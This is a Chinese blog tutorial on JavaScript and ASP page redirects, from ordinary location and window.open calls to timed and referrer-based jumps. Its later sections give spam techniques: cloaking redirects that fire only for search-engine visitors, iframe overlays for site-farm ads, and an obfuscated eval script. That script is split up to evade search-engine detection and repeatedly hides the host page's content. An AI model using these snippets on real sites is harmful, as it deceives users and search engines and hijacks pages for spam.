首页 > 编程语言 >如何实现JavaSrcipt页面的跳转

如何实现JavaSrcipt页面的跳转

时间:2022-11-08 20:11:07浏览次数:40  
标签:www JavaSrcipt JS window location 跳转 页面

如何实现JavaSrcipt页面的跳转_js代码

所谓的JavaSrcipt页面跳转就是利用JavaSrcipt对打开的页面ULR进行跳转,如我们打开的是A页面,通过JavaSrcipt脚本就会跳转到B页面。

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

<script type="text/JavaScript">
  window.location.href="你所要跳转的页面";
</script>

2、在新窗体中打开页面用:

<script type="text/JavaScript">
  window.open('你所要跳转的页面');
</script>

3、JS页面跳转参数的注解

<SCRIPT LANGUAGE="javascript">
  <!--
  window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
  //写成一行
  -->
</SCRIPT>

参数解释:

  • window.open 弹出新窗口的命令;
  • 'page.html' 弹出窗口的文件名;
  • 'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空'代;
  • height=100 窗口高度;
  • width=500 窗口宽度;
  • top=0 窗口距离屏幕上方的象素值;
  • left=0 窗口距离屏幕左侧的象素值。

二、跳转指定页面的JS代码

第1种:

<script language="javascript" type="text/javascript">
  window.location.href="login.jsp?backurl="+window.location.href;
</script>

第2种:

<script language="javascript">
  alert("返回");
  window.history.back(-1);
</script>

第3种:

<script language="javascript">
  window.navigate("top.jsp");
</script>

第4种:

<script language="JavaScript">
  self.location='top.htm';
</script>

第5种:

<script language="javascript">
  alert("非法访问!");
  top.location='xx.jsp';
</script>

三、页面停留指定时间再跳转(如3秒)

<script type="text/javascript">
  function jumurl(){
  window.location.href = 'http://www.fly63.com/';
  }
  setTimeout(jumurl,3000);
</script>

四、根据访客来源跳转的JS代码

1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

<script LANGUAGE="Javascript">
  var s=document.referrer
  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
  location.href="http://www.webqdkf.com/";
</script>

2、JS直接跳转代码

<script LANGUAGE="Javascript">
  location.href="http://www.webqdkf.com/";
</script>

3、ASP跳转代码判断来路

<%
  if instr(Request.Servervariables("http_referer"),"www.yang5460.com")>0 then
  response.redirect("http://www.webqdkf.com/")
  end if
%>

4、ASP直接跳转的​

<%
  response.redirect("http://www.webqdkf.com/")
%>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.webqdkf.com/></iframe>");

2、全部覆盖的代码

document.write("</iframe><iframe src='http://www.webqdkf.com/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");

3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:​

var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.web'+'qd'+'kf.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
   setInterval(function(){
   try{
   document.getElementById("div"+"All").style.display="no"+"ne";
   }catch(e){}
   for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="icondiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
   }
   },100);
}catch(e){}

六、页面跳出框架

<script type="text/javascript">
  top.location.href='http://www.webqdkf.com/';
</script>

七、返回上一页

<script type="text/javascript">
  window.history.back(-1);
</script>


如何实现JavaSrcipt页面的跳转_javascript_02


标签:www,JavaSrcipt,JS,window,location,跳转,页面
From: https://blog.51cto.com/u_15809510/5834730

相关文章

  • java读取word显示在jsp页面上
    在最近的一个项目中需要将一段字符类型的文本存为word,html并要将word的内容保存在数据库中,于是就有了如下的一个工具类,希望能对碰到这样需求的朋友提供点帮助。      ......
  • vue+element ui <el-tabs>中刷新页面不要回到初始页面
    公司新加了一个需求,每个tab栏下的页面里面有查看详情的接口,查看后返回到查看前的tab页面。刚开始每次返回都返回到待处理的页面,显然不符合需求。思路:每次点击tab栏,将当前页......
  • VUE2 实现一个页面 调用 另一个页面的函数
    今天我在Vue 需要实现 一个这样的功能在App.vue页面中 要实现 调用 另一个页(ExtensionMonitor.vue)中的函数 并将参数 传过去下面将实现的步骤写下来,供大家参考1.......
  • a-select下拉框滚动时不跟随页面滚动 与a-select框分离
    a-select下拉框默认是渲染到 <body>上 的,如果遇到菜单滚动定位的问题,使用getPopupContainer函数菜单渲染父节点,修改滚动的区域,并相对其定位。  问题:在滚动的时候......
  • 小程序自定义组件以及页面之间的数据传递
    1、自定义组件接收页面传递过来的数据首先在组件的属性列表properties中设置数据类型以及默认值,然后再在引用组件的页面上设置相应的接收数据的名字以及数据内容(跟小程序......
  • 组件全局注册 每个页面可以直接使用组件
    文件结构:  index.js文件代码:importPageToolsfrom"./PageTools";importUploadExcelfrom"./UploadExcel";importImageUploadfrom"./ImageUpload";impor......
  • 记一次无法访问到静态页面
       <=    =>      很久没有写博客了这次写是因为碰到了卡我一个小时的问题,如图,静态资源一致不能访问,后来我尝试用了另一种方式   就是......
  • 跳转路由地址url写法
    uniapp跳转//页面路径user/pages/addressList/index?id=198213b479b54cbcaf2b5dcd79a92f94//函数代码letid=198213b479b54cbcaf2b5dcd79a92f94;uni.navigateTo({'user/pa......
  • 用windbg为无效页面建立页面映射
       前几天和同事扯淡,说调试驱动时访问无效内存会蓝屏,好麻烦,应该让windbg自动建立一个有效的页面,这样就不用蓝屏重启了。虽然说这是扯淡,但仔细想想貌似也不是不可能实现......
  • 做用户权限的时候 刷新后页面 404
    ps:404页面一定要放在最后,{path:"*",redirect:"/404",hidden:true}  ,在创建路由实例的时候,加载路由规则routes的时候默认把404页面放在最后,但是使用addR......